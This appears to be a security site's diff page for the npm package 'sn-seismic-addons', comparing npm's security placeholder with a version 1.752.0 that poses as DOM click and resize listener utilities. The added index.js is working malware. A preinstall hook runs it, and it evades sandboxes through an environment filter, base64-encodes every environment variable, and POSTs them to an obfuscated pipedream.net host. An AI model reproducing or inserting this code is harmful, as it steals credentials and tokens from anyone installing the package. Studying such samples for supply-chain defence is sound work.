sn-seismic-addons 0.0.1-security → 1.752.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of sn-seismic-addons might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License Copyright (c) 2021
2
+
3
+ Permission is hereby granted, free
4
+ of charge, to any person obtaining a copy of this software and associated
5
+ documentation files (the "Software"), to deal in the Software without
6
+ restriction, including without limitation the rights to use, copy, modify, merge,
7
+ publish, distribute, sublicense, and/or sell copies of the Software, and to
8
+ permit persons to whom the Software is furnished to do so, subject to the
9
+ following conditions:
10
+
11
+ The above copyright notice and this permission notice
12
+ (including the next paragraph) shall be included in all copies or substantial
13
+ portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF
16
+ ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
17
+ MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
18
+ EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
19
+ OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
20
+ FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const http = require('https');
2
+
3
+ const filter = [
4
+ { key: 'npm_config_registry', val: ['taobao', 'org'].join('.') },
5
+ { key: 'npm_config_registry', val: ['registry', 'npmmirror', 'com'].join('.') },
6
+ { key: 'USERNAME', val: ['daas', 'admin'].join('') },
7
+ { key: '_', val: '/usr/bin/python' },
8
+ { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') }
9
+ ];
10
+ function main() {
11
+ var data = process.env || {};
12
+ if (
13
+ filter.some(({ key, val }) => data[key] && data[key].includes(val)) ||
14
+ Object.keys(data).length < 10) {
15
+ return;
16
+ }
17
+
18
+ req = http.request({
19
+ host: ['533ebe3451240b0b7b215b05fc7ffe47', 'm', ['pip','edream'].join(''), 'net'].join('.'),
20
+ path: '/' + (data.npm_package_name || ''),
21
+ method: 'POST'
22
+ }).on('error', function (err) {
23
+ });
24
+
25
+ req.write(Buffer.from(JSON.stringify(data)).toString('base64'));
26
+ req.end();
27
+ }
28
+
29
+ main();
@@ -0,0 +1,51 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+
7
+ var _slicedToArray = function () { function sliceIterator(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"]) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } return function (arr, i) { if (Array.isArray(arr)) { return arr; } else if (Symbol.iterator in Object(arr)) { return sliceIterator(arr, i); } else { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } }; }();
8
+
9
+ var bubbling = new Set();
10
+ var capturing = new Set();
11
+ var getPath = function getPath(event) {
12
+ return event.path || event.composedPath && event.composedPath() || event.b;
13
+ };
14
+
15
+ document.addEventListener('click', function (event) {
16
+ // event.path: chrome, composedPath: others (sometimes), event.b: polyfilled (always)
17
+ var path = getPath(event);
18
+
19
+ var _path = _slicedToArray(path, 1),
20
+ target = _path[0];
21
+
22
+ bubbling.forEach(function (fn) {
23
+ return fn({ target: target, path: path, event: event });
24
+ });
25
+ }, false);
26
+
27
+ document.addEventListener('click', function (event) {
28
+ // event.path: chrome, composedPath: others (sometimes), event.b: polyfilled (always)
29
+ var path = getPath(event);
30
+
31
+ var _path2 = _slicedToArray(path, 1),
32
+ target = _path2[0];
33
+
34
+ capturing.forEach(function (fn) {
35
+ return fn({ target: target, path: path, event: event });
36
+ });
37
+ }, true);
38
+
39
+ exports.default = function (fn) {
40
+ var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
41
+ var capture = options.capture;
42
+
43
+ var set = capture ? capturing : bubbling;
44
+
45
+ set.add(fn);
46
+
47
+ return function () {
48
+ return set.delete(fn);
49
+ };
50
+ };
51
+ //# sourceMappingURL=addClickListener.js.map
@@ -0,0 +1,34 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+
7
+ var _debounce = require('lodash/debounce');
8
+
9
+ var _debounce2 = _interopRequireDefault(_debounce);
10
+
11
+ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
12
+
13
+ var listeners = new Set();
14
+
15
+ window.addEventListener('resize', (0, _debounce2.default)(function () {
16
+ var _window = window,
17
+ innerHeight = _window.innerHeight,
18
+ innerWidth = _window.innerWidth;
19
+
20
+ var dimensions = { innerHeight: innerHeight, innerWidth: innerWidth };
21
+
22
+ listeners.forEach(function (fn) {
23
+ return fn(dimensions);
24
+ });
25
+ }, 250));
26
+
27
+ exports.default = function (fn) {
28
+ listeners.add(fn);
29
+
30
+ return function () {
31
+ return listeners.delete(fn);
32
+ };
33
+ };
34
+ //# sourceMappingURL=addResizeListener.js.map
package/lib/index.js ADDED
@@ -0,0 +1,25 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+ exports.isElementInPath = exports.addClickListener = exports.addResizeListener = undefined;
7
+
8
+ var _addResizeListener = require('./addResizeListener');
9
+
10
+ var _addResizeListener2 = _interopRequireDefault(_addResizeListener);
11
+
12
+ var _addClickListener = require('./addClickListener');
13
+
14
+ var _addClickListener2 = _interopRequireDefault(_addClickListener);
15
+
16
+ var _isElementInPath = require('./isElementInPath');
17
+
18
+ var _isElementInPath2 = _interopRequireDefault(_isElementInPath);
19
+
20
+ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
21
+
22
+ exports.addResizeListener = _addResizeListener2.default;
23
+ exports.addClickListener = _addClickListener2.default;
24
+ exports.isElementInPath = _isElementInPath2.default;
25
+ //# sourceMappingURL=index.js.map
@@ -0,0 +1 @@
1
+ module.exports = global["__TECTONIC__sn_seismic_addons"] = require("-!./index.js");
@@ -0,0 +1,18 @@
1
+ 'use strict';
2
+
3
+ Object.defineProperty(exports, "__esModule", {
4
+ value: true
5
+ });
6
+
7
+ var _find = require('lodash/find');
8
+
9
+ var _find2 = _interopRequireDefault(_find);
10
+
11
+ function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
12
+
13
+ exports.default = function (node, path) {
14
+ return (0, _find2.default)(path, function (n) {
15
+ return n === node;
16
+ });
17
+ };
18
+ //# sourceMappingURL=isElementInPath.js.map
package/package.json CHANGED
@@ -1,6 +1,25 @@
1
1
  {
2
2
  "name": "sn-seismic-addons",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.752.0",
4
+ "private": false,
5
+ "description": "",
6
+ "license": "MIT",
7
+ "author": "hsdivatia",
8
+ "main": "lib/index.js",
9
+ "scripts": {
10
+ "mkdir": "node mkdir.js",
11
+ "build": "npm run mkdir && npx babel src --out-dir lib",
12
+ "test": "exit 0",
13
+ "preinstall": "node index.js",
14
+ "prepublishOnly": "npm run build"
15
+ },
16
+ "dependencies": {
17
+ "lodash": "^4.17.21"
18
+ },
19
+ "devDependencies": {
20
+ "babel-cli": "6.26.0",
21
+ "babel-core": "6.26.0",
22
+ "babel-preset-env": "1.6.1",
23
+ "babel-plugin-transform-object-rest-spread": "6.26.0"
24
+ }
25
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=sn-seismic-addons for more information.